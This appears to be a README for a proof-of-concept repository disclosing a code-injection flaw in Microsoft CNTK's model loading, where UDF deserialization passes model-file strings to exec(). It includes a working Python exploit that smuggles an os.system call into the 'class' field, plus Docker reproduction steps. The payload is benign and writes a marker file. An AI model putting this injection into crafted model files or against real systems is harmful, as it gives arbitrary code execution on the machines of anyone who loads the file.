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loowr/
cntk-poc

Name: cntk-poc
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CNTK Code Injection via UDF Deserialization (VERIFIED)

Status: Production verified on CNTK 2.7 / Python 3.6

Code injection in Microsoft CNTK model loading. Crafted model files execute arbitrary Python code when Function.load() is called. No opt-in required.

Vulnerability

bindings/python/cntk/internal/__init__.py:54 uses exec() with attacker-controlled strings from the model file's serialized UDF dictionary:

exec("from {} import {}".format(module, cls))

The module and cls values come from a protobuf Dictionary embedded in the .model file. No validation, no sanitization.

Verified Exploit

Tested on CNTK 2.7 installed via pip in Docker (Ubuntu 18.04, Python 3.6):

python

from cntk.internal import _UDFDeserializeCallbackWrapper
import cntk

wrapper = _UDFDeserializeCallbackWrapper()
dummy = cntk.input_variable(shape=(1,))

# Malicious dictionary (what a crafted .model file would contain)
malicious_dict = {
    'class': 'path\n__import__("os").system("echo CNTK_RCE > /tmp/pwned")',
    'module': 'os',
    'state': {},
    'op_name': 'test_op',
    'version': 1
}

wrapper([dummy], "test", malicious_dict)
# -> RCE success: True
# -> /tmp/pwned contains: CNTK_RCE

Reproduce

Requires CNTK 2.7 environment (Python 3.6, Ubuntu 16.04/18.04 with OpenMPI).

bash

# In Docker:
docker run --rm -v $(pwd):/tmp ubuntu:18.04 bash -c '
  apt-get update && apt-get install -y python3.6 python3-pip libopenmpi-dev
  ln -s /usr/lib/x86_64-linux-gnu/libmpi_cxx.so.20 /usr/lib/x86_64-linux-gnu/libmpi_cxx.so.1
  ln -s /usr/lib/x86_64-linux-gnu/libmpi.so.20 /usr/lib/x86_64-linux-gnu/libmpi.so.12
  pip3 install cntk
  python3 /tmp/exploit.py
'

See exploit.py for the full verified exploit.

Files

poc.py -- Standalone injection pattern demo (no CNTK needed)
exploit.py -- Full verified exploit against CNTK 2.7
vulnerable_code.py -- The exact vulnerable code from CNTK v2.7

Impact

Arbitrary Python code execution triggered automatically on model load. Affects all CNTK versions since v2.0. CNTK archived since 2023 -- no fix expected upstream.

loowr/cntk-poc